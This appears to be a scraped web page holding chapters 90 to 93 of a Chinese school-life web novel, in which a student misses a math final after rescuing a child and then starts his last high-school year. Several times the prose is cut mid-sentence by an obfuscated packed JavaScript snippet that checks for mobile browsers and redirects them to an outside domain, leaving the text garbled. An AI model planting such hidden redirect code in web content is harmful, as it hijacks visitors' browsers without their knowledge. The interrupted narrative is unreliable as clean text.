p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459423|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读得开心吗?” “还不错吧。老师很喜欢我,同学之间相处得……也还算融洽。当然,小打小闹还是有的。哦,小胖就是我初中同班三年的同学呀。一开始有人欺负他,是我把他们都赶跑了。” “不愧是小鱼啊。” “那你呢?你初中的时候,在S中,过得开心吗?” 何非亮沉默了一会,微微弯了弯唇角,“还是高中更有趣一点。” “我觉得也是。”纪小鱼点了点头,随及又朝何非亮做了个鬼脸,“嘿呀,你这个人就是太高冷了!初中的时候,我远远地见到过你几次,明明是一群人在路上走,却疏离得好像形单影只。咳,其实吧,做人不用有那么多偶像包袱的,那个第一名什么的也不用每次都死磕,压力很大的。我真诚地建议,还是把这个压力交给我来承担吧,我心理素质很强的……诶?人呢?” 何非亮不知道从哪里变出了一辆酷酷的摩托车,已经轰轰地骑出去一段路了。 “喂,等等我!”纪小鱼连忙紧赶慢赶地追上去。 终于,何非亮载着纪小鱼一路颠簸,爬上了云雾缭绕的山顶,见到了传说中的智者。 智者掐着波涛般卷曲的白色胡须,嘴角浮起一抹高深莫测的微笑,“远道而来的勇士啊,你们可知,这世间游荡的诸般精怪,所惧者为何物呢?” “啊咧?知道的话,就不会来问你啰。”纪小鱼在心里暗暗吐槽。 何非亮也没有说话。 智者不愧是智者,见没有人捧场,仍然厚着脸皮自问自答道,“咳咳,其实呢,怪兽所惧者,非为神兵利器等种种外物之威,而是人发自内心的笑声。” 笑声? 纪小鱼半信半疑地和何非亮又辗转回到了S中。 “哈哈哈哈哈哈!”纪小鱼幻想着自己在数学竞赛的决赛中取得了第一名的好成绩,狂笑不止,怪兽们果然齐齐后退了几步。 “喂,你快笑啊!”纪小鱼催促着站在一旁抿着唇无动于衷的何非亮。 何非亮看着纪小鱼,无奈地扬了扬唇角。恍如千帆过尽后,终于“内视群疑,犹冰释然”,笑得云淡风轻。 怪兽们灰飞烟灭。 梦境在这一瞬间,也有了坍塌的裂痕。 …… “走了,小鱼,别发呆了,”何非亮已经洗漱整理好了,他往房门的方向微微扬了扬下巴,“下楼集合,然后一起去学校里报到。” “哦,好哦。早餐吃什么呢?” “报到的时候会发这几天的餐票,可以当代金券,在学校食堂里自行点餐。” “哇,免费吃喝?” “有额度的。不过只要你不暴饮暴食,应该不至于吃超吧?大不了,我把我的券给你就是了。” “哎呀嘛,管吃管住,好舒服啊,”纪小鱼幸福地弯了弯眼睛,“真想每天都有竞赛可以参加!” “每天都有竞赛?呵呵,那你岂不是每天都要输给我一遍……\_(ツ)_/” “滚!╰ ( ‵口′ )╯” …… 蝉鸣阵阵,居高声远。 人才济济,齐聚一堂。 校园里,满溢着学术的馨香。纪小鱼环顾四周,满意地点头。 “就是这里了。” 就是这里了,诸位!我的逆袭之地! 90.第九十章 变成雕塑 睁开眼是天花板。 闭上眼是题。 有的人表面上睡了,但是颅内还在复习。 「播放队列(233/10086) 自动连播:开 ------- 孤单蝴蝶飞 √ 反帕斯卡三角形 √ 祖冲之点集 (正在播放中……) …… 」 啊,太卷了! 我真是太卷了! 连纪小鱼都情不自禁地感叹道。 但是—— 明天就是数学竞赛的决赛了,我现在是不是应该,先养精蓄锐、好好睡一觉再说? 可是,找了半天,也没有找到大脑播放器的暂停键在哪。 呃……我平时是怎么睡着的来着? 先闭眼对吗? 已经闭了,然后呢? “下面是一道送分题。解法一,使用三角形面积的海伦公式……” 哦,我知道了,我还要深呼吸! 吸气—— “解法五,由算术-几何平均不等式可得……” 呼气—— “解法六……” …… 放松肩部—— “解法二十,由切比雪夫不等式或排序原理……” 放松面部肌肉—— “解法二十六,如图所示,设立平面直角坐标系……” 哈哈,好搞笑,这道题竟然有二十六种解法。 咦?我怎么还没睡着呢? 噢,救命啊!大脑又开始孜孜不倦地播放下一道题了……呜呜呜,这到底什么时候是个头啊! 好不容易熬到脑细胞们终于有了点偃旗息鼓的征兆时,闹钟却又偏偏响了—— “纪小鱼呀 纪小鱼呀 快点起床 别偷懒 …… ” 纪小鱼近乎瘫痪的身体强撑着派遣出了一根食指,气息奄奄地摁掉了活力四射的闹铃,觉得自己好似已经日薄西山了。 啊,不可能吧!怎么就到了起床时间哦? 昨晚,好像根本就还没有真的睡着过吧…… 更雪上加霜的是,眼前弹出了一条没有感情的通知:脑部电池电量低,已开启极限续航模式。 纪小鱼:“……╭(°A°`)╮” 喂,能不能搞清楚一下状况!!!不是明天,也不是后天,更不是昨天,而是今天!今天啊朋友们!! 今天就是数学竞赛的总决赛了!大脑、小脑、间脑和脑干,都给我振作起来! 高手之争,胜负之差不过毫厘。一早上就这个状态,别说输在起跑线上了,简直就是已经趴在起跑线上拱手而降了吧? 不行! 得想个办法! 纪小鱼闭目沉思…… 唔,闭上眼睛的那一瞬间,四肢百骸像得到了一种极大的安慰,真的好放松、好舒服。 要不就先这样眯一会眼睛吧,懒得想了,桥到船头,啊不,船到桥头自然直……嗯,不行不行,今天可是要打败何非亮的日子耶,已经准备了那么久,怎么能就这么功亏一篑……何非亮……何非亮说过,有一个东西可以提神……他放在桌子上,被我喝掉了……那东西很苦,但那一天很精神……zZZ…… 纪小鱼掐着自己的手臂,挣扎着把自己从昏睡的边缘暂时性地抢救了回来。 他的脑海里亮起了一个硕大的电灯泡! 哦,对了! 那什么来着—— 咖、啡! 对,得赶紧去买一杯咖啡! 纪小鱼像抓住了救命稻草一般,匆匆飞下楼。 …… 今天的阳光并不甚明朗。天色阴阴,似有雨意。 纪小鱼泪眼涟涟地打了个呵欠。 不过,一杯浓缩黑咖啡牛饮下肚以后,牛咕噜·纪小鱼觉得自己又行了。 力量,在他的体内,死灰复燃。 啊,朕好强壮啊! 环顾街头,视察民生。只见屋舍俨然,店铺林立,街道宽阔,没有垃圾。停步红绿灯路口,又见一老妪悠闲摇扇、一小孩自在拍球,一青年弓步压腿,还有一摩登女郎推着婴儿车,车里载着只可爱的小狗。嗯,真不错!社会面貌稳中向好,充满生机与活力! 红灯漫长,厚重的云层间忽然翻滚出轰轰雷声。 拍球的小孩下意识地抬头朝天空望去,一不留神,手里的球便滚向了车道。 “诶,我的球!别跑!”小孩连忙追上去捡。 空气里顿时响起了低低的抽吸声。在场所有人的目光都不约而同地聚了过来。纪小鱼的心也跟着高高悬起。 喂喂喂,红灯啊,小屁孩!危险!! 啊啊啊啊啊,拜托能不能有一点安全意识哦! 好巧不巧,一辆泥头卡车也正在此时轰鸣着驶来。察觉到不对,司机拼命摁响的喇叭像是一声卡在嗓子眼、惊慌失措的呜咽。 刹车……惯性……来不及……!!!但是……有机会! 电光石火间,纪小鱼如弦发利箭,一把揽住了木在马路中间的小孩,擦着卡车头逼近的边线,一个干净利落的翻滚。 轮胎死死地压迫住柏油路面,像是硬生生地要抠出两道沟渠。刺耳的摩擦声“唧呀”地拉长了尾音。 司机面色惨白地从车窗里探出头回望。 得救了的小孩后知后觉,“哇”一声大哭了出来。 人行道红灯转绿。 路人低声祈祷。 …… “我没事。”纪小鱼努力地向赶来急救的医生大哥大姐们解释。 “你右前臂高度疑似骨折合并伤口,必须立即上医院处理。”医生大哥坚持。 “哦,没关系,真的没关系,”纪小鱼抬起左手,在空气中自由地比划着,“你看,我左手还能用。” “现在没有在讨论哪只手还能用的问题。” “那我等会来,等会一定来!”纪小鱼还是死活不肯上救护车,“给我一点时间。” “请你不要拿自己的身体开玩笑。”医生大哥严肃道。 “对呀,骨折如果不及时处理,很有可能会留下严重的后遗症。”医生大姐在一旁帮腔道,每说一句纪小鱼的心尖就忍不住颤抖一下,“比如伴随终生的疼痛啦、肢体变形啦、残疾啦……哎呦,你还这么年轻呐……” “可……我要去考试。我准备了很久……”纪小鱼可怜巴巴地说。 “什么考试能比身体重要?……咦?会有这种想法,难道是脑子也摔坏了?急救处理意见补上,再加一个脑部CT。来,”医生大哥不再和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464928|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪小鱼掰扯,而是把头转向了同僚,“患者思绪混乱、意识不清,大家一起把他抬走。” “三、二、一,起——”医生大哥冷静地指挥道。 “不要哇——”纪小鱼眼睁睁地看着自己离学校的考场渐行渐远,心里流下了面条宽的眼泪。 …… 夏日的骤雨倾盆而至。 坐在急诊区深处,也能隐约听见室外骇人的风声雨声。 清创室里,坐在旁边的病人痛得嗷嗷叫。 纪小鱼其实也很想嗷嗷叫,但是为了面子,还是咬着牙忍住了。 歪着胳膊配合医生忙活了大半天,右臂终于光荣地悬吊在了胸前。 噢,原来这就是打石膏的感觉!绷带缠成厚茧,裹住的地方像被套在了壳子里,身体的一部分就这么变成了雕塑。唔,就是脖子有点不太舒服……怪沉的…… 清创室的电子门打开。纪小鱼若有所思地走了出去,走着走着,像感应到了什么不寻常的东西,目光忽然一顿,几乎要不能呼吸。 岂止是打石膏的部分?简直是全身都变成雕塑了! 脑子里最后的念头是—— 啊咧,难道,我真的把脑子也给摔坏了!? 不、不至于呀…… 头根本也没磕到过地面吧…… 真的假的啊,喂! “你,”纪小鱼诧异得声音都变了形,“何非亮?你、你怎么没有去考试!!?” 何非亮默默不语,身上淌着雨水。 纪小鱼瞠目咋舌。 周遭的光线褪色,空气也就此凝固。全世界好像只剩下了他们两个人。他们相互对视。 纪小鱼禁不住冲击,向后倒退一步,两眼一翻,“啊,我完了!” “你……没事吧?”何非亮终于开了金口。 “我有事!出大事了!你没去考试——呜呜呜,严老师会杀了我!!!” …… 三天后,全国高中生数学竞赛的决赛获奖名单正式公布。 S中的苟浮云同学苟到了最后,一举夺魁,取得了全国一等奖的好成绩。自此大学任选,免试保送,提前踏上了人生新的台阶。 吕天明、乔冬冬、张朝的名字,也赫然出现在了二等奖的名单里,获得了39所高校联盟的自主招生资格,不算白来。 “纪小鱼,遗憾吗?”出结果的时候,严老师恰好坐在纪小鱼边上。 “嗯……”纪小鱼沉默了一下,说不遗憾是假的,“但是如果当时不那么做的话,会遗憾一辈子吧。” “好孩子,”严老师怜爱地看着纪小鱼,“老师为你感到骄傲。手还疼吗?” “好、好多了。”纪小鱼有点不好意思地眨了眨眼睛。 随及,严老师的尾音又微微拔高,“何非亮。” “在。”何非亮厚着脸皮应了一声,面色依旧平静,眼里却掠过了一丝拘谨。 “你发誓,”严老师目光咄咄,一副恨铁不成钢的口吻,“你会成为S市的高考状元。” “我发誓。”何非亮认命地说。 “诶!?”纪小鱼不满地囔囔道,“等一下,凭什么就是他当状元?那我呢?” “好好好,”严老师叹了口气,终于还是无奈地笑了,目光里温柔占据了上风,“你俩一起当、一起当。” 91.第九十一章 一个夏天 纪小鱼吊着绷带,坐在杨柳岸边的长木椅上,眺望着粼粼的湖面。 橙红的夕阳一个浮在天上,一个浸在水里。晚霞簇拥其旁,也是两份。 纪小鱼忍不住笑了起来,为了一桩忽然想起的陈年旧事。 那是上小学一年级的时候。纪小小鱼第一次在书本里读到了“波光粼粼”的“粼”字,大感震惊,连忙趁着课间跑去语文老师的办公室里请教,“老师,好奇怪呀!这个字里面为什么有标点符号呢?这是什么特别的用法吗?” 啊,字里面怎么会有标点符号呢? 语文老师盯着书本上的“粼”字,愣了半天才恍然,纪小小鱼说的标点符号,原来指的是书名号的左半边(《),绷不住笑出了声来。 一旁站着的,还有一个以前从来没有见过的小同学,他安静地目睹完了全程,也跟着弯了弯唇角。 老师解释完以后,笑盈盈地拉起纪小小鱼的手,半蹲下身来,向小同学介绍道,“来,你们俩认识一下吧!这是一年级三班的纪小鱼——他很厉害的哦,目前每次考试都是全年级第一名诶!大家都很喜欢他。你以后有什么不会的题目,都可以找他帮忙。不用怕,他人很热心的!” “哦。”小同学睁着一双漂亮的桃花眼,目光淡淡地停泊在纪小小鱼的脸上。 “小鱼,这是一年级六班新来的转学生,他的名字叫做何非亮。他最近才刚刚和爸爸妈妈从国外移居回来,可能还不太习惯,你要多多照顾他一下,好不好?说起来他还没有来得及去新的班级里打过招呼呢,你是他在这个学校里认识到的第一个同学哦。” “没问题!”纪小小鱼郑重其事地点头。 老师笑笑地看着他们俩,“那你们握握手,以后就是好朋友啰。” 两只软乎乎的小手交握在了一起,彼此都感受到了对方掌心的温度。 不过,用不了多久,纪小小鱼就惊慌地意识到——那个“还不太习惯”的人,恐怕变成了自己…… 嘿,一转眼,这都快高三了! 飞鸿影下,夕阳渐沉。天边的光、水里的景,似要合而为一。 纪小鱼从口袋里摸出手机,拍下了这一张沉静中的壮阔。想了想,给高手兄发去了。 哈利皮特: 高手兄,即使只是眼前这一方天地的景色,都瞬息万变,世界真是一个谜团。 :-p: 即使只是静静端坐,每时每秒也思绪万千,人也真是一个谜团。 哈利皮特: 那么,高手兄此刻在想什么? :-p: 谜团真是无处不在。 :-p: 但愿有朝一日,宇宙可以坦白。 哈利皮特: 高手兄,明年我就要高考了。到时候考完了,能不能见你一面? :-p: 好。 …… 青石小径藏在草坪间逶迤,绕来绕去,像一桩蜿蜒的心事。 “小鱼,”何非亮走过来,在长木椅的另一端坐下,“今天怎么有闲情逸致,坐在这里发呆?” “医生要我多晒太阳,补充维生素D,有利于骨骼恢复。”纪小鱼笑了笑,“别的时间太热,晒上两分钟恐怕已经变成小鱼干了。这个点刚好,太阳还没走,又有点凉风。” “补维生素D不够,还要补蛋白、补钙。”何非亮下巴一撇,“走啰,带你去吃晚饭要不要?表弟推荐的。” 何非亮的表弟是一个颇有品味的人,小小年纪,于美食之道已是造诣颇深,每每令纪小鱼肃然起敬。 “还不快快地带路!”纪小鱼连忙站起身来,催促道。 …… 三天后。 回程的飞机上,纪小鱼怔怔地望向窗外。 B市的行程正式告一段落。一来一回,心境自是有所区别。 只是没想到,沿途的诸般风景,也与来时路上接连的绵云雪场,显出了迥然的不同。 是万里无云的天气,长空透亮,清澈见底。俯瞰之下,重峦叠嶂,流水盘迂,农田星罗棋布,城镇散落在岸边。无限山川风物尽入眼帘,也不知道这一路,都经过了谁的故乡。 对了,六年级有一次考试的作文题目就是“思乡”。纪小小鱼胸有成竹,先是把李白的《静夜思》一字一字认真地默写了上去,然后便开始絮絮叨叨地怀念起了外婆家门前的树、地里的菜、河里的鸭、会追人跑的鹅,当然还有那条尽忠职守的大黄狗……自以为点点滴滴皆真情实感,无可挑剔。 结果全年级优秀作文下发,第一篇赫然还是隔壁班何非亮的作品,他的开头是“思是心上的一块田,乡是山路十八弯”。 ……啊咧,还能这么掰啊?当时的纪小小鱼觉得自己的头有点晕。现在的纪小鱼也有点不服气,觉得还是自己写得更好——虽然装逼的好句子少了点吧,但是天然去雕饰,质朴有本心嘛。 还有一次也格外印象深刻,那是S市初中跨校举办的诗词大会活动。纪小鱼和何非亮从一众选手中脱颖而出,闯入决赛。 比到最后,比无可比,只好进入改良版的“飞花令”环节,轮流在十秒内背出含有“水”字的诗句。背到最后,背无可背,生僻到就连评委老师都有点不好意思地摸出手机来查。 结果,由于纪小鱼大脑的诗歌数据库里不幸混入了一句网络伪诗,脱口而出时,被评委老师激动地判定为“无效”(激动大概是因为终于可以下班了),遗憾落败……唉,焦灼来焦灼去,终于还是便宜了何非亮。纪小鱼好生懊恼。 噫,和何非亮成为同桌的第一天,才知道他竟然掌握了传说中的“照相机记忆法”!更可恶的是,这一“精华”自己至今也还没能学会! 还有…… 种种鸡毛蒜皮的事迹在脑海中纷至沓来,一时竟没完没了。纪小鱼不由地从大好河山中收回视线,转过头来,多瞅了何非亮几眼。 何非亮正靠在椅背上闭目休憩。一张侧脸,平心而论,属实是造物精雕细琢的得意之作。 真神奇。不知不觉,这个人已经在自己的记忆里,占据了那么多、那么多的空间…… 唔,往事仍然历历在目,不敢相信,时间已如白驹过隙。 飞机在S市平缓落地。 滑行途中,纪小鱼半是疑惑,半是感慨,“诶,何非亮,你有没有发现,去B市的时候好像花了很久,回来的时候一下子就到了?” 何非亮高深莫测地一笑,“可能是因为,新地图需要缓冲,旧地图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473630|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用?” “哈哈哈,有点道理!”纪小鱼忍俊不禁,“那么也许,我把你打扁的新剧情也还在加载中,我需要更耐心一点。” “呵,”何非亮扬起唇角,“我欣赏你的野心。” 说话间,飞机已然停稳。安全带指示灯熄灭,座位间狭长的通道一眨眼已站起了一条严阵以待的队伍。 纪小鱼打着石膏的手不方便挤进人群,因此索性不急着起身,预备等别人下了才下。何非亮悠悠然地坐在旁边,也一副不赶时间的样子。 广播里流淌出轻快的音乐—— “ 时光兜兜转转镌刻下你的痕迹 点点滴滴都是我不能忘记 还能够再次出发吗你的笑脸点亮了意义 还能够再次起飞吗你的陪伴是我的勇气 我想和你一起漫无目的四处游历 我想和你一起寻访神秘探索奇迹 我们航空公司现已推出旅行盲盒 价格便宜 还有更多惊喜等你 …… ” 哈?听了半天原来是广告啊! 纪小鱼哂然一笑,微微把头撇向窗户。 舷窗外,天阔云舒,炽日高悬。摆渡行李的小车忙忙碌碌,四处穿行。更远处,一架架飞机井然有序,精神抖擞。 今天,大概也会是很棒的一个夏天。明媚耀眼,复古如莎士比亚的诗篇。 - 咦? 莫不是高三的生活实在是乏善可陈,没有什么好缓冲加载的,因此前置的假期如此短暂,简直是一晃眼就过去了。有小诗为证—— “昔年八月一日夜,还在开心过暑假。 今年八月一日夜,已在学校晚自习。” 不过,张校长再次声明——高三的学生,八月一日开学——这不能算是补课,只能说是调休。 莘莘学子们只能唯唯诺诺。 没办法,隔壁友校不也都是今天开学嘛! 唉,是这样的。自己不卷,光看着别人卷,那也是一种煎熬啊! 开学的这一天,年级主任新官上任三把火。第一把就是要求全体高三年级的同学都填写下自己的目标院校,准备稍后整理打印成巨幅海报,张贴在班级墙上,以作为日常学习生活中如影随形的压力……啊不,是激励。 别说考了……许多同学在填写的时候,就已经展现出了浓浓的焦虑——呃,怎么办呢?写一个太好的,大家都看着呢,没考上岂不是很丢脸;写一个太差的,就这样挂在教室后面示众,会不会又有点尴尬,会不会被老师骂没志气? “诶,”纪小鱼左手拎着笔尾,戳了戳何非亮的胳膊,打听道,“你的那个‘名牌大学’筹建得怎么样了?” “还差八百亿经费。你——要不要乐捐一点?” “滚。”纪小鱼斩钉截铁地拒绝了何非亮无理的请求。 看来吧,这人呐,还是要靠自己! 嗐,靠自己就靠自己吧!就让我看看——这双在题海中千锤百炼过的手,究竟能够将自己带去多遥远的地方吧!啊哈哈哈哈哈! 纪小鱼的心里,再次涌起了豪情万丈。 就连打着绷带的胳膊,在教室的灯光下,也白得熠熠生辉。 92.第九十二章 觉醒之力 喜闻乐见!锵锵锵锵——九月一日,高一、高二的小同学们也正式开学啰! 嘿嘿嘿嘿嘿ψ(`v’)ψ——此为来自高三学长学姐们“友善”的笑声。 是这样子的,在没有竞争关系的前提下,自己拼了老命在卷,发现别人在度假,那心里肯定是不太舒坦的。最好就是,大家都一起卷吧,谁也别落下!啊哈哈哈哈! 另一个好消息是,纪小鱼的右手手臂正式宣告痊愈,总算是可以彻底和麻烦的绷带和石膏说拜拜了。 奇怪的是,拆完石膏的这几天,纪小鱼反倒愈发显露出了些心事重重的迹象。 “不对劲。” 终于,在一个风和日丽的下午,纪小鱼端详着自己右手的掌心,眉头越皱越深,作出定论。 “哪里不对劲了?”何非亮在一旁悠哉悠哉地说着风凉话,“你这几天闷闷不乐的,该不会是因为拆了绷带了以后,回头率显著下降的缘故吧?” “才不是!”纪小鱼朝何非亮翻了个白眼,“我是那么肤浅的人吗?” “那是哪里不对了?”何非亮的目光闲闲地落下,跟着一道,揣摩起纪小鱼摊开的掌纹。 “我的右手好像,觉醒了。”纪小鱼煞有介事地说。 何非亮:“……” “真的!”纪小鱼从课桌抽屉里翻找出纸笔,“不信你看!” “嗯,看着呢。” 纪小鱼提笔悬于纸上,深深呼吸,随后便不假思索地涂涂画画了起来。 黑色的线条落在纸上,犹如雪地里延伸出花枝,花枝上又结出蓓蕾,蓓蕾徐徐绽出花瓣,似一双纯粹初开的眉眼。 画上的人逐渐有了形神。 何非亮微微一愣。 “大功告成!”纪小鱼得意一笑,“哎呀,你看,我的右手,已经自动掌握了画画的技能!” “嗯,画得还不错。”何非亮的眸光一动,“那么,这幅画我就先收走了。” “诶,凭什么?” “画的是我,所以当然得归我啰。”何非亮用一副理所当然的口吻说道。 纪小鱼暗喜——咦?竟然一下子就被看出来了?那岂不是说明——我果然画得还不错嘛!啊哈哈哈哈! “给你也行,不过——你等等,”纪小鱼矜持地抚摸着下巴,略一沉吟,提笔,在画像旁补上了潇洒飘逸的“笨蛋”二字。 “啊哈,这样就完美了!”纪小鱼笑嘻嘻地把完成了的画作往何非亮桌上一推,“喏,你爱拿去就拿去吧!反正这样的画我一天可以画一百张,啊不,是一千张!” “呵呵,”何非亮慢腾腾地把画像夹进笔记本里,收藏进抽屉,嘴角轻飘飘地勾起了戏谑的弧度,“小鱼,你该不会不知道吧,画作上签下的,通常都是画家的署名哦。啧啧啧……你这签名,倒是别具一格。” “啊咧?╭(°A°`)╮”纪小鱼目瞪口呆。 哼!随便吧! 姑且就让何非亮先再得意一阵! 风水轮流转——我有预感,已经快要转到我身上了! 纪小鱼翻覆着自己的右手,目光中流露出欣赏。 呵,如果何非亮以为,无师自通地学会画画,就是这只手觉醒的全部内容,那他就大错特错了! 最重要、最关键的一点,其实是——这只觉醒过后的右手,不管再怎么刷题,都已经丝毫感觉不到酸痛和疲惫了。一连十套卷子做下来,抬腕悬于空中,依然稳定得连一丝颤抖的痕迹都没有。 大功率、低能耗,质量还有保证!简直就是,铁腕刷题机、天选做题人! 当然,何非亮说的最近有点闷闷不乐也确有其事,因为右手觉醒过后——题根本不够做!得去再进货一批!草稿纸也差不多用完了,得再去搜罗一些便宜的回来。还有笔水,笔水也用得特别特别快!几乎一天就能用完一支笔! 哎呦,日子本来就已经过得紧巴巴的了,现在为数不多的零用钱还要再腾出一部分去买更多的题和笔芯——盘算来盘算去,大概是只好牺牲在烈日炎炎下买冰可乐喝的快乐了。哎呦,偏偏今年的天气,新闻里都说,是五十年一遇的热啊!唉,太难了! 走去学校小卖部一逛,呦呵,本子啊笔啊可乐啊,今年还都全线涨价了!嗐,零用钱不涨,物价飞涨!怎不叫人发愁呢? 不过,一套题畅快地刷完,再一题一题地对照着答案给自己打勾,扑面而来的成就感顿时如同涓涓细流汇入心田,冲散了盘迂着的烦恼。 啊,全对! 啊,我好强啊! 要不,我干脆改名叫“纪小强”吧! 哎呀,还是不要了……小强容易让人联想到某种了不得的生物,呵呵呵呵呵,怪可怕的哟。 我还是就叫“纪小鱼”比较好! 小鱼小鱼游四方,遇见困难不慌张。 江河险阻拦不住,天下湖海我最酷! 啊哈哈哈哈! …… 放学时分,许多高一新生好奇地聚在高三A班的窗前,伸长了脖子,朝里打量。 “哇,早就听说S中的校草很哇塞,今日得睹真容,才知道传言不虚,当真是帅得一塌糊涂耶!姐妹们没有骗我!” “惊为天人,实在是惊为天人!” “他的同桌也很帅耶!两个人坐在一起,好养眼,好幸福!” “啊啊啊啊啊,他看过来了!他看过来了!他在看我了!!!啊啊啊啊啊,我不行了!世界上怎么会有这么好看的眼睛!” “呜呜呜,不枉我辛辛苦苦考入S中!值了!太值了!” 记者社的资深员工逮住机会,见缝插针地摸出好几本印有何非亮照片作为封面的校刊,神秘一笑,开始了饥饿营销,“学弟学妹们,请看!学长这里刚好留有几本已经绝版了的校刊,错过就真的再没有了。诶,不用紧张,学长才不是那种钻进钱眼子里的人!这几本绝不加价,而是友情向各位原价出售。只不过数量确实有限,先到先得。卖完就真的再没有了,机不可失哦!各位,真的是最后几本了!” “我要!我要!” “卖给我!” “我先来的!我全部都要!” “不行哦,”记者社的同学摇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486995|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,“每人只限购一本。” 销售现场一片火热。 “哎呀,卖完了、卖完了!已经卖完了!大家别挤了!真的一本也不剩了!不过,没抢到的同学也别遗憾——”记者社的销冠同学话锋一转,举起了印有二维码的白板,“咳,我们记者社现已推出全新电子版校刊,方便大家随时随地查阅。往期的校刊也都能看哦!更多资讯,请关注S中记者社公众号及官方微博。” “顺带一提,记者社的内部成员购买,可以终生享有8折的优惠哦~当然这只是我们社最不值得一提的福利。更多独家内幕、深度访谈、一手爆料……嘿嘿,学弟学妹们如果有兴趣的话,一定要考虑加入我们记者社哦!” 暮色美好,晚风醉人。 卓影懒懒地倚着栏杆,从不远不近的地方眺望过来,满意地点了点头——很好,记者社后继有人。自己也是时候该隐居幕后,把记者社的权责交棒给新一代了。 啊,时间过得可真快啊! 犹记得,自己当初临危受命,接管下百废待兴的记者社时,一腔雄心壮志中尚且混杂着诸多忐忑。这期间,撞过南墙,走过弯路,也为点滴的成功而庆祝……嗯,按照如今的这个结果来看,也算是功不唐捐吧! 校园的广播里,悠悠扬扬地放起歌来,沉浑的声音,应了夕阳的景—— “ 可能我生来就好奇想探索 在意着人心的沉浮和宽阔 可能我天生怕寂寞爱热闹 偏执于俗世的尘嚣 不愿蹉跎我丢下所有软弱 不愿沉默让世界甘于淡漠 这城市盛装着万千灿烂的灯火 纸醉金迷中想必也藏有温柔 愿归隐于川流不息的街道 四处捕捉散落风里的传说 愿置身繁华中自在地吟游 收藏喜怒哀乐的开花结果 …… ” 天空一寸寸地暗了下来,余霞淹没在高低起伏的天际线下。 夜色翻滚,灯火无边。 …… “我看见题,只觉得神清气爽!”纪小鱼由衷地感慨。 好开心啊!高三的日子,睁眼复习闭眼考,日子过得格外充实。 谁会不喜欢高三呢?每天都不用花钱,就有很多的题写。 哦,苟浮云可能例外,她应该已经迫不及待地想要上大学了。 正式签署完保送协议的那天,她于晚自习时忽然站起身来,径直搬起课桌,走向垃圾桶,在众人目光的见证下,把课桌里的高中资料全都爽快地倾倒一空。从此开始了大学功课的抢先预习。 班里先是鸦雀无声,而后则是响起了一片致敬的掌声。 纪小鱼也跟着鼓掌,庆祝着苟浮云提前一年的“毕业典礼”。 只是,拍着拍着手,突然间察觉到——咦?好像有哪里不对的样子…… 啊咧!? 纪小鱼目瞪口呆,“今天好像是我值日倒垃圾哦?” ……哎呀,不得了!得赶紧多刷几套题,补充点能量! 93.第九十三章 昏昏倒地 大考小考,大考小考,大考小考都是考。 考呀考,考呀考,考得人搔首踟蹰头发少,辗转反侧睡不好。明明正青春年少,你我都风华正茂,却只能枯坐在此,朝也考来暮也考,平添了许多烦恼。 噫!考来考去,眼见着夏尽秋已至,冬去春又来—— 市一模成绩出来以后,整个高三年级,多有戚戚。就连天空也为之落泪。 春雨滴滴霏霏,像说不完、道不尽的忧愁。 课间操因天气原因暂停,蒋小胖约了纪小鱼在檐下听雨。 雨声潺潺,伴随着蒋小胖忧忧愁愁的叹息,“唉,真不愧是emo(一模)考试啊……” “我也考寄了!你看,”纪小鱼吐着舌头做了个滑稽的鬼脸,“啊,请叫我‘寄小鱼’!” 蒋小胖果然被逗笑了,他忍俊不禁地竖起两根手指,“诶,拜托,你可是咱们S中神学院里考了第二名的活神仙耶!” “咳咳,小胖,此言差矣啊!”纪小鱼清了清嗓子,正色道,“你认识我这么多年,应该知道,‘二’这个字,于我来说,便是千钧的烦恼。” “嘤嘤嘤,”蒋小胖哀嚎,“神啊,能不能也让我感受一下这样的烦恼!” “嘿呀……”纪小鱼有点不好意思地搔了搔脸。 雨水在栏杆外串起珠帘,阻隔了远眺的视线,天地间唯剩一派雾色的涳濛。 纪小鱼收回了望出去的目光,转而拍了拍蒋小胖的肩膀,岔开话题道,“咳,小胖,那什么,咱们就先别管什么一模了,都过去了!正所谓‘往者不可谏,来者犹可追’,我们现在应该要做的是——加油努力、再接再厉,准备好迎接即将到来的二模考试,对吧!” “什么?恶魔考试?”蒋小胖两眼一翻,几乎要昏厥过去。 …… 下午放学前的自习,纪小鱼不慌不忙地戴上耳机,点播了一首study music,然后熟稔地铺开卷子,奋笔疾书。 